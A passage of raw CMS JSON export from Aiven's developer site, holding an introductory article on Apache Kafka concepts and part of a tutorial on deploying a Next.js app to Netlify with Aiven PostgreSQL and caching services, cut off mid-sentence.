india](https://aiven.io/blog/pg-json-indian-restaurants)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-04T10:23:39.182Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[],"publishedAt":"2023-04-03T10:23:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-e4300785da6b44c132ce836efcb0b0b0a2e9cafe-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/postgresql-jsonb-cheatsheet"},"subtitle":"A cheatsheet for the PostgreSQL® JSONB functions, providing a set of consistent examples of all the most common JSONB (and JSON) functions and operators.","tags":[{"_key":"edaeddd52be3","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ee2575bbabdf","_ref":"f4f65cc5-e2cc-43c3-846d-e012dd431ee9","_type":"tag"}],"title":"PostgreSQL® JSONB Cheatsheet: Complete \u0026 Fast Lookup Guide"} {"__i18n_lang":"en","_createdAt":"2024-02-13T09:34:15Z","_id":"cea04874-dd89-4b2c-acc7-3d1ddaf32a22","_rev":"ebFUNpMndz2LKq7K7Cdbfe","_type":"devArticle","_updatedAt":"2024-09-17T09:00:38Z","body":"## Apache Kafka®: the basics\n\n### Definition and uses\n\nApache Kafka® is often described as an event streaming platform (if you don't know what that is, [this may help](https://aiven.io/solutions/aiven-for-streaming)). And this is true, but at its core it’s simpler: Apache Kafka is really just a way to move data from one place to another. That's what makes it the swiss army knife of data infrastructure.\n\nYou can use it to move data between your own applications, between your applications and data stores (like PostgreSQL or Amazon S3), or between those data stores. Apache Kafka makes applications independent from each other, so that one application can pass data on without needing to wait for the other application to deal with the situation.\n\nThe easiest way to try Apache Kafka is to sign up for a managed service and give it a spin. [Sign up for Aiven today](https://console.aiven.io/signup) and start a free trial to test it out!\n\n### Apache Kafka is glue for your application\n\nWhen we describe Apache Kafka as an event streaming platform, what we mean is that it acts as a bridge or as glue between different aspects of your application. Kafka lets you set up some services in your application as producers, and others as subscribers. Producers send messages and subscribers receive them. Apache Kafka manages the relationships between these services and ensures that messages arrive in a specific order.\n\nAs a widely-used open source project, Apache Kafka also has many client and tooling options. Whether it's high-level APIs and libraries help you build your own applications, or off-the-shelf \"glue\" between data stores, or helpful management interfaces to show you what's happening inside Apache Kafka, there will be something already available in the ecosystem. \n\nIn some ways, Apache Kafka is rather like a [cross between a messaging system and a database](https://aiven.io/blog/apache-kafka-and-the-great-database-debate). It shares features with both, but it's more than a message queue and different from a database. The fact that almost any system can act as a producer or consumer means that Apache Kafka's core use is as a conduit for systems to talk to each other and share data. There's no need for a complex network of connectors and pipelines between systems - they are decoupled and independent of each other. This has profound implications not just for the speed and reliability of data delivery but also for the [breadth of use cases](https://aiven.io/case-studies?services=Apache%2520Kafka%25C2%25AE) that Kafka can be put to.\n\n## Benefits of Apache Kafka in an event driven architecture\n\nOne of the key things that Apache Kafka enables is the building of applications that use event driven architecture. Event driven architectures are applications where when something happens in one area of the system, it emits an event which triggers actions in another part of the system. \n\nWe've talked about [the benefits of an event driven architecture with Apache Kafka on the Aiven Blog](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture), but let's quickly run through why you'd want to use Apache Kafka for your event based data architecture.\n\n### Speed through structure\nOnce upon a time, you had to choose between a fast messaging platform or a durable one. This is because \"fast\" was often implemented as \"messages are only in memory\", and the thought of writing messages onto disk was derided as being too slow. Apache Kafka changed all of that by re-thinking how storage is used. When messages are arranged into topics and topics into append-only partitions, it’s possible to have a messaging platform that’s __both fast and durable__.\n\n### ...and compression\nAnother contributor to Kafka’s fast throughput is that Kafka itself doesn't care about the structure of the data - as far as it is concerned, data is just a series of bytes. The producers and consumers however should agree on the structure of the data, or otherwise they won't understand it. This is often handled by a separate component called a *schema registry* (for example, [Karapace](https://www.karapace.io/)) where the producers (or even the system architects) can store the structure of a message, and the consumers can read the structure and have an expectation of which fields etc will be in the messages on a given topic. Where possible this also compresses the messages - the field names don't need to be sent with each message if they are already in a schema registry, which the consumer can query to \"re-hydrate\" the full message.\n\nAs a result, Kafka's scalable, fault-tolerant, publish-subscribe messaging platform is nearly ubiquitous across vast internet properties like Spotify, LinkedIn, Square, and Twitter.\n\n### Quickly in, quickly out\n\nKafka also has a fast throughput because it decouples writing data from reading it. Data doesn't have to be received at its final destination(s), it only has to be written to the broker by the producer. Similarly, consumers read data as and when it suits them, not acting as a roadblock to the producers.\n\n### Future-proofing with scalability\n\nKafka’s __scalability__ offers tangible business benefits. Its partitioned log model allows data to be distributed across multiple brokers, allowing immense amounts of data to reside in the same platform but on different servers. It’s also trivial to [make Kafka geographically resilient using MirrorMaker 2](https://www.aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2), which will replicate the data between two different clusters (potentially in different regions or even different clouds) - resistant to interruption and without any data loss.\n\n### Safety through copies\n\nBecause Kafka replicates data across servers, data centers and clouds, with the correct configuration the data is safe even if a server or region fails. With replication configured per-topic, Kafka keeps track of which servers are the \"owners\" of the data and which servers have replica copies to use in the event of failure. While manually restoring the data in Kafka after an issue might not be a meaningful concept, care must be taken to ensure that settings like the \"replication factor\" are correct for your requirements. You can read more in [data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\n## How does Kafka work?\n\nKafka works around the concept of messages. When used in an event-driven world, Kafka sees each event as a different message. In this case, an event always happens at a certain time (timestamp), concerns a specific thing (key), and states what happened regarding that thing (value). It may also contain additional information (metadata headers).\n\nFor example:\n\n- On 2 February 2022 at 16:37 (timestamp) a pulled-oat sandwich (key) was purchased (value) at Tania’s Deli (metadata).\n- On 3 February 2022 (timestamp) ten (value) pulled-oat sandwiches (key) were delivered at Tania’s Deli (metadata).\n\n### Pub/sub\n\nEvents are written, or published, to Kafka by client applications called __producers__. Other applications, called __consumers__, read events from Kafka, often as input that triggers another action.\n\nThis is called a __publish-subscribe model, or pub/sub__ - the producers are not aware of, or care at all about, the consumers which are reading the events.\nKafka organizes streams of events into a number of topics, which are basically category-named data feeds, and are usually themselves split into partitions for scaling. Producers write event records by appending them to the sequence of events in a given topic, resulting in an ordered series (remember that ordering is only preserved within a partition, not across partitions).\n\n### Consuming from topics - the importance of offsets\n\nConsumers consume records from specific topics, starting from a given offset (the record number in the topic). This makes it easy to consume the records asynchronously while still retaining the correct order. The last-known offset for a given consumer (or group of consumers) is usually also stored in Apache Kafka, so that when a consumer re-attaches after some kind of interruption it can seamlessly pick up from where it left off.\n\n![Anatomy of a Kafka topic. Topics are category-named data feeds, here shown divided into partitions to provide faster throughput.](//images.ctfassets.net/q3u27v6lpki8/34ozH7TSA3ALLhLMMjHLnz/ac5054056a87769beac13f18158feff0/anatomy_of_a_topic.jpg)\n\n![ Producers always write to the end of the topic queues. Consumers then read the data according to their configured offsets to keep events in order.](//images.ctfassets.net/q3u27v6lpki8/HAMxgTZRwn4izL2onEMBW/5297a074aeda78163e638254611d35e1/producers.jpg)\n\n\u003c!-- If you want to learn more about how to program for Kafka, head over to our event-driven architecture page -link to cluster page https://aiven.io/blog/introduction-to-event-driven-architecture- --\u003e\n\n## What is event streaming?\nSo if Kafka is an event streaming platform, what is event streaming? Event streaming is services publishing events in a continuous stream for other systems to read and process elsewhere. Importantly, events happen in order, and the producer of the events does not care about who or what is reading the events. It’s a great way to decouple different applications from each other, so that any given application can just focus on what it does best.\n\n### What is event streaming used for?\nEvent streaming is used to separate applications which are actively doing a task (e.g. reading from a sensor or charging a credit card) from applications which are observing and acting-on the results of that task (e.g. switching the air-con off or shipping a package) - it’s a stream of data about things which have happened and often need to be processed further. Here are some common uses:\n\n- Monitoring infrastructure and detecting anomalies - keeping up to date with your own systems. ([See how Aiven does it](https://aiven.io/case-studies/open-source-tools-provide-observability-for-aiven)!)\n- Triggering related business processes - for example, when someone registers a new account, trigger a background fraud detector\n- Metrics with real-time counters, moving averages and more - applications in e.g. fintech and climate applications\n- Creating dashboards - anywhere that humans want to run an eye over the numbers, like traffic monitoring and leaderboards.\n- Moving data from the incoming event stream to longer-term storage for offline analytics and queries.\n- Enabling an event-driven architecture (EDA)\n\n### Use cases with event driven architecture\nEvent driven architecture is frequently used for applications where lots of data comes in very quickly. Social media, online shopping and [IoT applications](https://aiven.io/blog/3-considerations-for-building-an-enterprise-iot-solution \"3 considerations for building an enterprise IoT solution | Aiven Blog\") are great examples, but depending on scale it might also include things like inventory management.\n\nTake a look at our page for [case studies featuring a Kafka-centric architecture](https://aiven.io/case-studies?services=Apache%2520Kafka%25C2%25AE).\n\n## Apache Kafka in your architecture\n\nWhere does Apache Kafka fit in? In brief, it goes in the middle of all your systems. There are multiple open source options for producers and consumers, many of them with existing connectors to Kafka. Remember that Kafka itself isn’t performing any application logic, it is simply an ordered store of messages - it has no knowledge of what is contained within the messages although it does allow producers to separate metadata about the messages into message headers.\n\nTypically, Apache Kafka acts as a kind of pipeline, streaming data from one place to another (or many others). Consumers can choose whether to start from the latest message in a topic (and only get the new messages after that), or to start from the beginning of the topic (and get as many messages as are still on the topic), or somewhere in between. Kafka tracks the position of a message on a topic, called the “offset”, adding new messages to the end. Consumers track the offset that they last saw (or that they want next), although that detail is often hidden inside of libraries used by the clients.\n\n![Apache Kafka in your architecture](//images.ctfassets.net/q3u27v6lpki8/27plzs2p5wJTpfkGwTaNvq/a5ee6574acdf2b805be9ba1c56e50339/Apache_Kafka_in_your_architecture.png)\n\n![Apache Kafka ecosystem with connect02 B](//images.ctfassets.net/q3u27v6lpki8/2Rsdc8qQifnr8jHCAUgLpW/8f3fbae3f0fec1006733b381b7da0c06/Apache_Kafka_ecosystem_with_connect02_B.png)\n\n## Apache Kafka APIs: connecting to Kafka\n\nUtterly unsurprisingly, Kafka interfaces with other systems via APIs. Kafka’s Java client offers five core APIs:\n- The [Admin API](https://kafka.apache.org/documentation.html#adminapi) for inspecting and managing Kafka objects like topics and brokers.\n- The [Producer API](https://kafka.apache.org/documentation.html#producerapi) for writing (publishing) to topics.\n- The [Consumer API](https://kafka.apache.org/documentation.html#consumerapi) for reading (subscribing to) topics.\n- The [Kafka Streams API](https://kafka.apache.org/documentation/streams) to provide access for applications and microservices to higher-level stream processing functions.\n- The [Kafka Connect API](https://kafka.apache.org/documentation.html#connect) for creating import and export connectors to external systems and applications.\n\nWhich API you use to connect to Apache Kafka and how exactly you do it depends on things like which technologies you are using, what type of activity you want to do (produce message, consume messages, manage the Kafka brokers, etc), how “high-level” you want the connection to be (do you want your code to specify all of the individual details about messages / partitions / headers / etc, do you want your consumer to keep track of its latest offsets, do you want to describe how a stream should be processed and let the library setup the message flows, do you want to avoid writing any code at all and just use Kafka to join together other datastores?).\n\n### Some producers and consumers\n\n#### Low-level libraries\n\nFor full control over the data flowing onto and off a Kafka topic, there are client libraries available for many different programming languages. The Apache Kafka project itself maintains the Java APIs, but commonly-used libraries in other languages include:\n\n- [Sarama for Go](https://github.com/Shopify/sarama)\n- [Kafka-go for Go](https://github.com/segmentio/kafka-go)\n- [Kafka-python for Python](https://github.com/dpkp/kafka-python)\n- [Librdkafka for C/C++](https://docs.confluent.io/clients-librdkafka/current/overview.html) (and wrappers for [Go](https://docs.confluent.io/clients-confluent-kafka-go/current/overview.html), [Python](https://docs.confluent.io/clients-confluent-kafka-python/current/overview.html), etc)\n\nThese consumers allow you to do things like target particular partitions for a message, send arbitrary bytes for the message body, and use any data structure for the key. Note that most of these will need to be carefully synchronized between the producers and the consumers, otherwise the consumers will likely misunderstand the message (e.g. it might be on an unexpected partition or not conform to the expected structure).\n\n### Higher-level client libraries\n\nGetting slightly higher, these libraries also allow some more standard options to be used. For example, automatically selecting the partition based on a hash of the message key, or using a [schema registry](https://www.aiven.io/blog/what-is-karapace) to make sure that the message structure conforms to expectations.\n\nFor consumers, a big concern is keeping track of whereabouts in the stream of messages a consumer has processed up to. Low-level consumers might store their own offset somewhere (for example in ZooKeeper or KRaft), but it’s more normal to let Kafka manage that for you so an application can happily restart and pick up where it left off. By default, Kafka uses a dedicated topic called __consumer_offsets__ for this.\n\n### Even higher-level client libraries\n\nGetting even higher-level, a common need is to coordinate many different instances of an application, so that each message is only handled once even though there could be many different servers running an application. To help coordinate which applications are consuming from which topics, what offset they are all up to, and to spread load around in case of application failure, Kafka lets you model a group of consumers as a single entity.\n\nWhen an application connects to Kafka and requests to consume from a given topic, it can declare itself as a member of a particular [consumer group](https://kafka.apache.org/documentation/#consumerconfigs_group.id) --or link to consumer groups section--, and it will be given messages from the correct offset in a subset of partitions depending on how many other applications are also in that consumer group.\n\n### Really high level clients\nInstead of dealing with every individual detail of each message, you can opt for higher-level clients that simplify the whole message process.\n\n#### Stream processing\n[Kafka Streams](https://kafka.apache.org/documentation/streams/) is a Java library which allows you to model how you want to deal with a stream of messages in your application. It lets you create a fluent pipeline in your code, defining a stream of transformations (e.g. “extract these fields from the message”, “combine the message with a lookup from a DB table”, “if this field contains a number bigger than 10, then publish the message onto a different stream and raise an alert”), and then the Kafka Streams library figures out what needs to be wired together to deploy the overall process.\n\n#### Apache Kafka Connect®\n\nIf you don’t want to write any code at all, or maybe just write some “glue” code to extract data from some other datastore, you can use Apache Kafka Connect to create a single source pipeline into Kafka and a single sink pipeline out of it. It is important to note that Kafka Connect is nothing special from Kafka’s point of view, it is simply an external application which produces and consumes messages, but it is a convenient way to get data into or out of an external datastore (e.g. a PostgreSQL database).\n\n[Apache Kafka Connect](https://aiven.io/kafka-connect) is an application which hosts one or more “connectors”, which themselves fall into one of two categories: a “source” which extracts data from an external source and publishes it onto a Kafka topic, or a “sink” which consumes data from a Kafka topic and pushes it out to something external. Sometimes, these are used together in order to move data between two external datastores, using Kafka purely as a transit between the two connectors.\n\nWith Kafka Connect, you can also perform simple transformations to message fields in individual messages.\n\n(Curious to know what Kafka Connectors Aiven provides? Here's a [list of Aiven's Apache Kafka connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins) in the developer docs.\n\n##### Source connector examples\n\n- Pulling data from a relational database, either as a single bulk extract or as ongoing changes. There are various implementations of this, common ones being Debezium which pretends to be a read-only replica database (e.g. using [CDC](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg)) or [Aiven’s JDBC source](https://github.com/aiven/jdbc-connector-for-apache-kafka) which can either repeatedly dredge a whole table at a time or follow an incrementing column like an ID or a timestamp to figure out what has been changed.\n- Watching for changes in an AWS S3 bucket\n- Subscribing to another message broker, e.g. the [Stream Reactor MQTT connector](https://docs.lenses.io/5.0/integrations/connectors/stream-reactor/sources/mqttsourceconnector/) from Lenses.io\n\n##### Sink connector examples\n\n- Writing data to a relational database\n- Calling an external API\n- Sending a webhook to notify clients that something has happened\n- Streaming events into a data warehouse for storage and analytics\n\nIf the system you want to connect to Kafka doesn’t have a ready-made connector, you can use the\nKafka Connect API to make one.\n\n### Coordinating message schemas\nSince Kafka is a tool to decouple producers and consumers, it also removes their opportunity to agree on the structure of the messages. How does the producer know that the consumers are able to understand the messages it is publishing?\n\nThere is no opportunity for the various applications to coordinate which fields they are expecting, or whether they expect a particular field to be an actual integer or a string containing an integer - a common situation experienced by anyone investigating a new API.\n\nTo solve this problem, it is common to use an external tool such as [Karapace](https://aiven.io/blog/what-is-karapace) which acts as a repository for the schema of the messages being published onto a particular topic. The publisher writes its message schema into the registry, including all of the fields and what data type they are, and consumers can read the schema and align their expectations accordingly.\n\nIf the schema is not as they are expecting, then they could raise an exception and avoid consuming any messages from the topic, or they could flag that perhaps a software version upgrade is needed as the schema has evolved.\n\n#### The other benefits of having a message schema\n\nThere are more benefits of having a message schema. It is necessary for schemas to evolve - rarely do we know all of the future requirements when first writing a piece of software - but the schema registry can inform (or enforce!) us whether a new schema is compatible with the previous version. For example if a new schema version is just adding fields but not removing any, then chances are good that consumers will still be able to understand the messages even if they don’t yet know how to handle the new fields.\n\nAnother benefit is that the consumer might not need to send the field names with every message. If using a serialization format which preserves the order of fields (e.g. Avro instead of JSON) then the producer can tell the registry that e.g. “the first field is a numerical ID, the second field is the username” and then it just needs to serialize the field values - the consumer already knows that the first field will never be the username.\n\nContrast that with a format that does not require fields to stay in order, which will still need the field name to be sent with each field. Kafka clients which can also use a schema registry will re-create the full message structure based on the data in the message and the schema from the registry, whilst being transparent to the application.\n\nCommon schema registries include the open-source Karapace and the Confluent Schema Registry.\n\n## Building microservices with Apache Kafka\nGiven that Apache Kafka excels at enabling applications to decouple from each other, it is commonly found at the center of a [microservice architecture](https://aiven.io/blog/5-benefits-of-a-kafka-centric-microservice-architecture). This means that an application has been broken up into several smaller applications, each one focusing on its own task as part of the bigger picture but generally unaware of the other parts. Microservices using Kafka can either be consumers or producers, or often both, using Kafka to receive data or instructions, and then publishing the results back onto Kafka for other applications to use or for storing in a data warehouse.\n\nAs much as microservice architectures [bring benefits](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-alef-education) in terms of simpler individual applications which can each be scaled as needed, they also add complexity to the overall picture. Now, instead of a single piece of software, there could be many different applications - easy to test individually, but the interactions between them need a solid set of integration tests. If not carefully planned, what was thought to be decoupled applications can quickly become accidentally dependent on each other, such that if one application starts to struggle or has a critical bug then the others around it fall like dominoes. Getting back control of such a situation can be complex, so effort should be invested to ensure that independence of each microservice is preserved.\n\nGood use of Apache Kafka, however, can make this easier than it may seem. Combined with a schema registry like [Karapace](https://karapace.io), the chance of unexpected messages arriving into a microservice is kept under control, and good integration tests keep the application behaviors well understood.\n\nTo read more about the challenges and opportunities of building a microservice architecture, see [How are your microservices talking](https://aiven.io/blog/how-are-your-microservices-talking).\n\n## Event driven architecture with Apache Kafka: variations\nSince Apache Kafka goes together with so many apps, it stands to reason that Kafka-centric architectures come in a range of flavors. Take a look at these cases, for example:\n\n- [Building a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n- [Near real-time ELT with Kafka + Snowflake](https://aiven.io/blog/near-real-time-elt-with-apache-kafka-and-snowflake)\n- [Optimizing data streaming pipelines](https://aiven.io/blog/optimizing-data-streaming-pipelines)\n\n## Updating legacy architecture with Apache Kafka\n\nKafka is actually a good option for dealing with [database migration](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect). But you can use it for more than just migration: Kafka can seamlessly join the elements of an old architecture together and allow you to expand and scale it. It also makes it easy to join new types of elements to existing ones.\n\nHere are some things we prepared earlier...\n\n- [Updating an old app-to-database architecture for Kafka](https://aiven.io/developer/using-kafka-connect-jdbc-source-a-postgresql-example)\n- [Streaming event data while modernising legacy architecture](https://aiven.io/case-studies/building-event-driven-architecture-with-aiven)\n- [Moving from a provider of mechanical slot machines to an online hybrid gaming infrastructure](https://aiven.io/case-studies/aiven-for-apache-kafka-helps-paf)\n- [A supply chain and inventory management system with a cloud-based, unified model of data](https://aiven.io/case-studies/aiven-cloud-helps-adeo)\n\n## Managing Apache Kafka\n\nBeyond the initial startup configuration files, there are also various activities needed to manage Apache Kafka as it is running (e.g. creating new topics, updating consumer group offsets, or triggering new elections for which broker is the leader of a partition), but it doesn’t come out of the box with a handy web interface for administration. Instead, there is Apache Kafka's [Admin API](https://kafka.apache.org/documentation.html#adminapi), along with a Java client library and a set of command-line scripts to help call the API for a variety of management tasks.\n\nIf you have downloaded Kafka from the Apache website, look in the “bin/” directory for useful shell scripts to cover a whole variety of administration tasks.\n\n## Observability and Apache Kafka\n\nApache Kafka is notoriously tricky to manage at scale, due to needing various configs to be tuned to cope with the potentially massive volumes of data flowing across its topics and all of those data being written to disk. Without good insight into Kafka’s internals, knowing which dials to tune would be impossible and operators would be relying on blind luck to keep Kafka running smoothly. The Java ecosystem provides a standard interface for exposing metrics about the internals of an application, JMX, and Kafka uses JMX to expose a whole host of useful information about what is going on.\n\nIt is common practice to ingest metrics from Apache Kafka into a time-series database (for example M3) and use a visualization tool like Grafana to watch trends over time.\n\n## Kafka and data safety\nKafka doesn’t really do data backups, because the data it contains is by nature ephemeral. So if a cluster drops offline, how can you be sure that nothing gets interrupted or lost?\n\nThe answer to this is replication, and Apache Kafka has its own replication tool, MirrorMaker 2. There are [many reasons to use MirrorMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) but keeping your data safe is perhaps the most important. Think of MirrorMaker as analogous to a special Kafka Connect setup, where the source and the sink are each attached to different Kafka brokers. MirrorMaker is really just a consumer, pulling messages from a Kafka topic, and a producer sending those messages immediately onto another Kafka topic (usually on a different broker). Because Kafka consumers can let Kafka store their offset state, MirrorMaker offers a completely stand-alone way to shovel messages between two independent Kafka brokers. It is common to use this to create a “backup” Kafka cluster, often in a completely different location, without any impact on the “main” Kafka cluster.\n## Data is power\nStreaming architectures like those typically involving Apache Kafka have access to an absolutely massive amount of data. It’s easy to start thinking of data as disposable at best, and as cumbersome at worst. But the truth is, data is, or can be, the most valuable asset you own.\n\nYou can slice it and dice it to examine more closely how your services are used and how they perform. Monitoring, scaling, visitor behavior, security, automation… There are [so many things that your data can do](https://aiven.io/blog/easy-real-time-streaming-insights).\n\n## Setting up and managing Kafka isn’t simple\nApache Kafka works incredibly well at all sizes, whether your deployment is small or huge. You should always have at least three brokers, so that if one fails there is still a majority of brokers available to handle the workload. However, this flexibility comes at a cost: it needs to be carefully tuned to work optimally at a given scale.\n\nEven if you use a managed platform like Aiven for Apache Kafka, there are still decisions to be made from the client side:\n\n- How will the topics be used?\n- How many partitions per topic?\n- How many replicas?\n- What retention period to use?\n- What compaction policy fits the use case?\n\nGetting these decisions right can be critical, as some of them are not easy to change at a later date without a fair amount of upset to the clients. E.g. increasing or decreasing the number of partitions in a topic will change the key-to-partition distribution (and hence the ordering guarantees), but having too many partitions for a given broker size will have an impact on maximum throughput. Testing under production-level loads, including failure scenarios and on-the-fly operational changes, is critical to having a suitably-tuned setup.\n\n## Some words about orchestration and automation\nTo make the configuration, management and coordination of complex systems (like any system that includes Apache Kafka) easier, you can implement an orchestration system. Orchestration tools like [Kubernetes](https://aiven.io/docs/tools/kubernetes) can be set up to automatically perform multi-stage processes. This helps you to streamline and optimize workflows that need to be performed regularly and/or repeatedly. All you need is to be running in containers.\n\nOn a related but different note, [Terraform](https://aiven.io/docs/tools/terraform/index.html) allows you to define your infrastructure as code, which makes it easier to provision and manage. You specify the configuration, Terraform takes care of the dependencies and networking.\n\nTo find out more about both tools and what they do, read our [Kubernetes vs Terraform](https://aiven.io/blog/kubernetes-vs-terraform) blog article.\n\n## Getting started with Apache Kafka on Aiven\nWhat’s the benefit of using a managed Kafka with the same provider’s managed DBaaS? For one thing, multi-service pipelines are easy to build and manage.\n\n[Aiven for Apache Kafka](https://aiven.io/kafka) is at your service.\n\nHave a poke around [Aiven's developer documentation](https://aiven.io/docs/products/kafka) to take your first steps in the Kafka world, or [sign up for a free trial](https://console.aiven.io/signup) and start playing around.\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [TypeScript, react-hook-form, zod: blissful forms](https://aiven.io/blog/typescript-react-hook-form-zod)\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n\n- [View Apache Kafka® messages live in the Aiven Console](https://aiven.io/blog/kafka-messages-ui-announcement)\n\n","feature":{"_type":"featuredItem","active":true,"endDate":"2030-12-01T09:34:00.000Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"41b64fd78a08","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-09-16T10:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this post full of information and resources.","metaImage":{"_type":"mainImage","alt":"What is Apache Kafka?","asset":{"_ref":"image-673a05fce9fe63e673de971435da8085c1699f45-1200x628-png","_type":"reference"}},"metaTitle":"What is Apache Kafka®? | Everything you need to know for Kafka"},"slug":{"_type":"slug","current":"/developer/what-is-apache-kafka"},"subtitle":"Have you ever been confused by all this talk about kafkas and streaming? Get the basics in this article full of information and resources.","tags":[{"_key":"2cd476ca18b2","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"title":"What is Apache Kafka®?"} {"__i18n_lang":"en","_createdAt":"2023-08-03T13:01:48Z","_id":"670e91f4-eed4-4549-beed-1f049c3efe08","_rev":"9KXJIj517MDuzut1TWMoyd","_type":"devArticle","_updatedAt":"2024-10-25T09:58:23Z","body":"This tutorial guides you through deploying a [Netlify](https://www.netlify.com/) web application with an [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [Aiven for Caching](https://aiven.io/redis) backend.\n\nThe sample application used in this tutorial is a cooking recipe library displaying open source [recipe data](https://www.kaggle.com/datasets/thedevastator/better-recipes-for-a-better-life). It's built in [Next.js](https://nextjs.org/), which can be deployed to Netlify with ease, and connects to PostgreSQL with [Prisma](https://www.prisma.io/) and Aiven for Caching with [ioredis](https://www.npmjs.com/package/ioredis).\n\nThe source code for the application is available on GitHub at https://github.com/Aiven-Labs/nextjs-netlify.\n\n## Before you begin\n\nBefore starting the tutorial, do the following if you haven't already:\n\n* Sign up to [Aiven](https://console.aiven.io/signup).\n* Sign up to [Netlify](https://app.netlify.com/signup).\n\nIf you're going to follow the [manual setup route](#2-the-manual-way) below, then you'll also need to:\n\n* Install the [GitHub CLI](https://github.com/cli/cli#installation).\n* Install the [Netlify CLI](https://docs.netlify.com/cli/get-started/).\n\n## Create free PostgreSQL and Aiven for Caching services\n\nFollow the instructions below to create your free Aiven for PostgreSQL and Aiven for Caching services. You can read more about the Aiven free plans in the [Aiven documentation](https://aiven.io/docs/platform/concepts/free-plan).\n\n1. Login to the [Aiven Console](https://console.aiven.io).\n1. Choose the project you want your service to be in.\n1. On the **Services** page, click **Create service**.\n1. Select the service you want to create, either **PostgreSQL** or **Aiven for Caching**.\n1. Select **AWS** as the cloud provider and choose a region offering a Free plan.\n1. Select the **Free** plan.\n1. Optionally, choose a descriptive name for the service.\n1. Click **Create free service**.\n\n## Fork the repository and set up Netlify\n\nTo deploy the application to Netlify you'll need your own fork of the [Aiven-Labs/nextjs-netlify](https://github.com/Aiven-Labs/nextjs-netlify) GitHub repository, and you'll need to tell Netlify about it and your PostgreSQL and Aiven for Caching services.\n\nThere are two ways to do this:\n\n1. Use the convenient \"Deploy to Netlify\" button below, or\n2. Perform the same procedure manually at the command line\n\n### 1. Use the \"Deploy to Netlify\" button\n\nYou can fork this branch and deploy the application immediately to Netlify by clicking the button below. Database migration and seed is done during the Netlify deployment process. Make sure you have your PostgreSQL database up and running when deploying to achieve a working environment on the first try.\n\nClicking the button will make sure you're logged in to GitHub, and that Netlify has the permissions it needs to work with your repositories. It will then ask for:\n* the name to use for the forked repository (you can change it if you wish)\n* the URI for your PostgreSQL database, which you can get from its service **Overview** page in the Aiven console\n* the URI for your Aiven with Caching service, which you can get from its **Overview** page in the Aiven console\n\nIt will then take you to the Netlify admin user interface, set everything up, and deploy your website.\n\n[![Deploy to Netlify](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/Aiven-Labs/nextjs-netlify)\n\nOnce that has completed, you can open the newly deployed website by clicking on its URL in the **Site overview** section.\n\n::alert[**Tip** When the site starts up, choose **Recipes** at the top left of the window to go to the main part of the app.]{type=\"success\"}\n\nCongratulations, you have now successfully deployed your application. \n\nTo find the URL for your newly forked GitHub repository, go to the **Deploys** section. It will say something like:\n\n```\nDeploys from github.com/YourGitHubID/nextjs-netlify with Next.js.\n```\n\nClick on the repository URL to go to the actual repository.\n\nYou can make changes to the code using GitHub's own editor in the browser, using your favourite IDE, or locally by making a clone of the repository.\n \nWhichever way you choose, pushing a change to the repository will automatically deploy it to your site.\n\n### 2. Use the command line\n\nFirst, fork the repository and make a local clone of it.\nSee the [GitHub CLI instructions to fork the repository](https://docs.github.com/en/get-started/quickstart/fork-a-repo?tool=cli#forking-a-repository).\n\nFor instance, to fork and clone the repository with GitHub CLI:\n\n```shell\ngh repo fork https://github.com/Aiven-Labs/nextjs-netlify.git \\\n --clone --remote\n```\n\n::alert[**Tip** You can change the name of the forked repository by adding `--fork-name \u003cname\u003e` to the command.]{type=\"success\"}\n\n\nThen follow the instructions below to configure continuous deployment. This will automatically deploy your changes.\n\n1. Navigate to the `nextjs-netlify` directory on your local machine:\n\n ```shell\n cd nextjs-netlify\n ```\n\n1. Sign into your Netlify account to obtain the access token:\n\n ```shell\n netlify login\n ```\n\n1. Configure continuous deployment:\n\n Start and follow the automated setup process. Choose to create a new site, and then select the default options for other prompts. Note that you will be required to authorize Netlify with GitHub. You can do so either through `app.netlify.com` or with a GitHub personal access token.\n\n ```shell\n netlify init\n ```\n\n1. Open the Netlify site admin user interface:\n\n ```shell\n netlify open --admin\n ```\n\n1. Configure the site in Netlify:\n\n 1. Go to **Site configuration**.\n 1. Go to **Environment variables**.\n 1. Add variable `DATABASE_URL`:\n\n Copy the PostgreSQL database URI from the service's **Overview** page in the Aiven console and paste it in as the `DATABASE_URL` value.\n \n * To create a new database, replace `defaultdb` with the new database name.\n * To configure the schema for the application, add `\u0026schema=public` to the end of the URI.\n\n The PostgreSQL URI will be in this form (shown with `\u0026schema=public` added):\n ```\n postgres://user:password@host:port/defaultdb?sslmode=require\u0026schema=public\n ```\n\n 1. Add variable `REDIS_URI`:\n\n Copy the Aiven for Caching URI from the service's **Overview** page in the Aiven console and paste it in as the `REDIS_URI` value.\n\n The Aiven for Caching URI will be in this form:\n ```\n rediss://user:password@host:port\n ```\n\n\n1. Deploy the site:\n\n Go to the **Deploys** section in Netlify and trigger the deployment by clicking the `Trigger deploy` button.\n\n ::alert[The database migrations and seed are done during the 